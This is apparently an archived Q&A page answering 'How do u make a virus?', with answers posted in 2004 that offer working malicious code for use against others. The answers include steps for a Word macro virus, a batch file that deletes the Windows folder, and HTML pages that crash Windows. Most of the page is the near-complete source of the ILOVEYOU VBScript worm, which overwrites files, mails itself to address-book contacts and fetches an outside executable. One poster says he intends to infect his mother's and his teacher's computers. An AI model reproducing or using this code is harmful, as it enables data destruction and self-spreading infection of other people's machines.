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How Do u make a virus?

<< Back to: [alt.comp.virus] FAQ Part 1/4

Answer by Zelzal
Submitted on 3/29/2004
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hey, i giv' u this example, Make Your Friend Annoyed.. Click on Start-Setting-Control-Panel-Accessibility Options. Move to Keyboard tab, select Use FilterKeys and then click on Settings button. Select on Use Shorcut inside the Settings for Filterkeys area. Select only Beep when keys pressed or accepted inside the Notification area. Select on Ignore quick keystrokes and slow down the repeat rate inside the filter options area and then click on Settings button next to it. Advanced Settings for FilterKeys dialog box will be displayed. Select on Slow down keyboard repeat rates, move all sliding button to the Short, click OK, and OK again. Now move to Sound tab, select on Use SoundSentry and then click on Settings button next to it. Settings for SoundSentry dialog box will be displayed. Choose Flash Desktop on the first column, Flash Display on the second column, and then click OK. Click OK again to close Accessibility Options box. Starting from now, monitor screen will be blinked every time your friend types something on keyboard. Have a try.........

Answer by amajanku
Submitted on 3/31/2004
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Make a virus isn't easy. I mean not all the virus are easy. So dont just say "I wanna make a virus". It isn't a miracle. But u can make an easy virus, like for Microsoft word, have a try. ATTENTION: u also will be infective by this virus, so u have to backup ur pc first. Step I (startup) Choose "New Document" and click the menu: Tools=>Macro=>Macros and write the Sub's name as AutoOpen . Now the V.Basic editor will open. You can change the module's (module NOT macro or sub) name in something cool and original. Get ready to write (between "Sub AutoOpen()" and "End Sub"). Step II (the code) You write the PC infection code: copy the module from the file to normal.dot if the PC isn't infected yet (to see if it is, use a condition ex. a text string in the registry or the username="bla bla" or smth.) Check if the file is infected (ex. if ActiveDocument.VBProject.VBComponents(2).Name = modulename), if not, copy the module from normat.dot to the file. Step III (finish) Write whatever else you want your virus to do, you can also make him infect the PC or the file when it's opened, closed, saved etc. by changing the Sub's name to: AutoClose, AutoSave, AutoNew etc. . Write smth. funny in the document too... Save the document and distribute it! READY!!!

Answer by XXX not porn
Submitted on 4/1/2004
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DOS batch file viruses are executable files that end in the extension .bat . They can contain DOS commands within them that your computer will execute. Even if the commands tell it to kill itself, the computer will follow the commands. Back in the day when KISS ruled the rock world (the 80's for all you dumbasses) DOS was the supreme operating system. Well, DOS was nothing like windows and therefore not easy to use. So microsoft developed a small mini-language called batch file. That way people could make batch files to automate certain time consuming tasks. This could be from deleting all the temporary files, to deleting every file or anything that you want. Batch files are executable files that contain commands that the computer will follow. Even if they say to delete every file in the freakin hard drive, the computer will follow the directions. Now, the language is THE easiest computer language to learn. Seriously. It's as easy as looking at a dog lick themsevles in private places. (now don't start thinking i do that for fun! .) Now to teach you all the commands. These commands will go into Notepad. (you can access notepad by going to "start", "programs", then to "accessories" then to "notepad". You type all the commands into notepad. Then when you are done, you are going to save the file as a .bat file. I'll show you how later on in this lesson. the most useful commands are: @echo off - this command will tell the computer to NOT show everything that it is doing at that certain moment. Good if you don't want to the user to know what the program is doing. echo text here - this command here will print the words "text here" on the screen. So lets say you wanted to put "you weinerhead" on the victim's screen. Then you would type in: echo you weinerhead Easy to do. No? cd\ - this command will tell the computer to go back to the main hard drive. (in most cases C:\) Most of the time you will be using this. Later you will be seeing why. cd foldername - this open up a folder. So lets say you gave the command cd\ before. Well now your in c:\ becuase of the cd\ command. Right? Then you tell the computer: cd windows . Well then the computer is going to open up the folder Windows from the c:\ drive. (C:/windows, you know, the most important folder on your computer, unless you have linux.) RD foldername - this will Remove a Directory from the current path it is in. This is kinda hard to explain. If you are currently in c:/windows, and you issue the command RD windows . Well hey stupid, it ain't gonna work cuz the folder windows in NOT in the folder c:/windows/ . The only way this would work is to be in c:\ . Because the folder windows is in the path c:\ . I hope i haven't lost you. But this is kinda hard to explain to complete newbies. Hopefully you are not that of a newbie. If you are then please email me here and tell me what you don't understand, and being the nice person that i am, I will help you. @del filename - this command deletes a certain file in the current folder. End - this command ends and exits the program. Now that you know the basic commands we can move on into learning how to implemt them into homemade viruses. Well, i think that people learn best when they have examples in front of them. So i am going to use this approach with this lesson. Example # 1: ----------------------------------- @echo off cd\ rd windows echo You stupid bastard echo hahahahahahahahahahahahah echo I own your ass echo eeewwww echo goodbye end

Answer by xx not porn
Submitted on 4/7/2004
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Intro: Well this is an OLD tutorial that I had and so I decided that I would rewrite/add to it. I'm going to list every way I know how to crash a windows box. (trust me, it's no harder than eating a beaver.) Easy Windows 9.x: (95,98) Awhile back there was a vulnerability in Windows that if you ever told it to go to c:/null/null then the computer would immediatly crash with the blue screen of death. But then windows ME came out and it doesn't work anymore. So another one was discovered which was c:/con/con . That one should work on all windows 9.x computers. Now......how do we get the person on the internet to point himself to c:/con/con ? Sounds challenging no? But in reailty it isn't. It is SOOOO easy. All you have to do is learn the HTML LINK command and input that into your instant message with your stupid victim. :) In HTML a link is constructed as so: <a href="http://www.addresshere.com">CLICK ME NOW</a> In between the paranthesis there is the ACTUAL address to point the computer to when they click on it and in between the > and the </a> is the text that the user will see. So since we know about the c:/con/con lets make a link to it. <a href="c:/con/con">NAKED CHICKS...umm...CLICK ME HARD AND NOW!!! :P </a> Now all we have to do is type the above into the actual instant message with the victim. It works on MSN, YAHOO, AIM, AOL, ICQ and all others. And as soon as the poor sap clicks on it....WHAM! Blue screen of death. And just sit back and watch him suddenly sign off the net and you can sit back and smile knowing you just did something very lame and requiring no skill whatsoever, but nonetheless smile. Advanced Windows 9.x: (95, 98) Yes there is an advanced side to this. Let's just say that the user you have been talking to is somewhat smarter than a sack of potatoes and knows what is safe to click on. Well.....using a little bit more HTML you could construct a site that after it is loaded....it redirects itself to c:/con/con therefore crashing your visitors computer instantly. Exactly how do we do that you say? Easy. Just go open up Notepad (go to "Start", "run", type in "Notepad" without the quotes for you MENSA people) and then enter the following commands: (yes you can cut and paste you lazy overweight couch potato :) ) <html> <head> <title>Welcome to Crash r us - we own you and have a nice day</title> <meta HTTP-EQUIV="refresh" content="2;URL=c:/con/con"> </head> <body> Do you know how stupid you are for clicking on that link? No really, do you? </body> </html> Do you see the <meta.... line? That is where the magic comes in. What that does is it delays for 2 seconds after the page has loaded and then sends the visitor's computer over to c:/con/con which guess what? CRASHES their computer. And this can even fool advanced computer wizards.(that still use AOL) It's pretty cool. Now once you have finished typing this up in NOTEPAD click on "file" then on "Save As" then under filename: save it as whateveryouwant.html . Please make sure it ends in .html I cannot stress that enough. Make SURE IT IS A .HTML file . It can be whateveryouwant but MAKE SURE YOU END IT IN .HTML. REMEMBER .HTML . (I think you got the point :) ) Easy Windows ME/NT/2000/XP This one, yet again, uses HTML to crash a box, but with a little javascript thrown in. =) So we take a basic page: <html> <head> <title>Welcome to Britney Spears NUDE.....NOT!!!!!!</title> </head> <body> <script language="javascript"> self.location = self.location </script> </body> </html> What the above code does is it tells Internet Explorer to keep revisiting itself every time the page is loaded which leads to an infinite loop. This infinite loop causes internet explorer 5.0 and above to freak and crash. With computers with little memory (Under 128 MB) it usually freezes the computer. Nice little trick eh? (hmm....all this HTML reminds me to finish my Webmaster Tutorial which I said would be completed 38793485793475 weeks ago.) this should help u guys on ur enemys, its works with mine

Answer by Dark Deminson
Submitted on 4/7/2004
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Hey ya virus makers i need ya to answer just one question how can ya make a virus with phython i know how to make little viruses with wordpad i figured out how to make a virus that will delete all the software you installed all the programs everything in your computer gone. once i figured it out i attach the virus to an e-mail and sent it to my mom LOL!!!!!! made she want be dumb enough to open it so please just answer me that question THX. and also i plan to save it to a floppy and upload it to my teachers computers and i am going to change the name of it and make it say like some vedio games title hahahahahahahahah! but that virus that i made is nothing compared to the viruses some of u make. so i need to know how.

Answer by xxx not porn
Submitted on 4/8/2004
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for all those ppl who want to make a virus here is one i have, its actually only the code so haev fun xxx not porn -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 ",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi n32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI X",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub

Answer by xxx not porn
Submitted on 4/8/2004
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THIS IS THE BASIC STEPS OF BECOMING A HACKER First of all, I would discourage anyone who wants to become a hacker just because he thinks it's cool. You will not be very productive if this is your only drive. Another thing is not to be dumb and using pre-made "kiddiot" scripts like winnuke, sub7, or msadc. And don't do dumb things like hacking just to deface websites or destroying other people's data. That is utter lameness and you will get flamed for doing it, so don't do it! This first section will layout a few things you must know in order to actually hack something. You cannot just read a simple tutorial on them and think you know enough, that is why I would suggest buying books. In order to understand everything else I suggest learning about networking first. Network+, a guide to networking, is a good book for beginners. Strive not to just read the book, but to understand it. After you've read a general networking book, go for something more specific like TCP/IP. Reading a full book dedicated to TCP/IP will improve your knowledge greatly. TCP/IP is the fundamental protocol on the net, and not understanding it means your hacking skills will be a lump of dirt =) To start out with networking and TCP/IP is sufficient to equip you with a basic understanding of how and why different kinds of attacks work. After you have learned the basic networking skills, move on to security. Of course this is an important part, but many beginners stop as soon as they get here (well most don't even get this far). I recommend Maximum Security, which is a very good book for beginners. It covers everything you MUST know. All this may seem very easy. I mean it's only 3 books. But you must read and understand the concepts covered before progressing or you will not learn much from the more advanced topics because you have not grasped the fundamentals. After these 3 books I would suggest you start reading up on exploits and security holes. Now this is where things start to veer off from the linear path. You absolutely must know some sort of programming. I am not an expert programmer but I would suggest perl or C. perl will allow you to see holes in perl scripts on the net and will offer easy socket programming techniques. C is what most exploits are written in and what makes up the building block of what you need to know for the next topic. Unix. This word might strike fear into the minds of some, but knowledge in it is absolutely essential. The best way to learn it is to install a unix-like operating system on your computer. Mandrake and Red Hat are the 2 most common distros for beginners and I would say that it is for good reasons, they are nice introductions into the vast world of nix (nix just means all Unix-like operating systems). If you need to go get a book on unix, I'd suggest Unix in a Nutshell or Linux Unleased. Once you get to this point you should know what to do next, just from being around the community for awhile. After this the road becomes a lot more complex and goes off in all different directions. The last basic step is to keep on top of the latest exploits and gain knowledge of old common exploits. With windows it is fairly simple, but with *nix it it more spread out between all the different distros and their services. Here are some of the best sites to get exploits and security advisories: http://packetstorm.securify.com , www.securityfocus.com , www.hack.co.za , and www.securitytracker.com The pe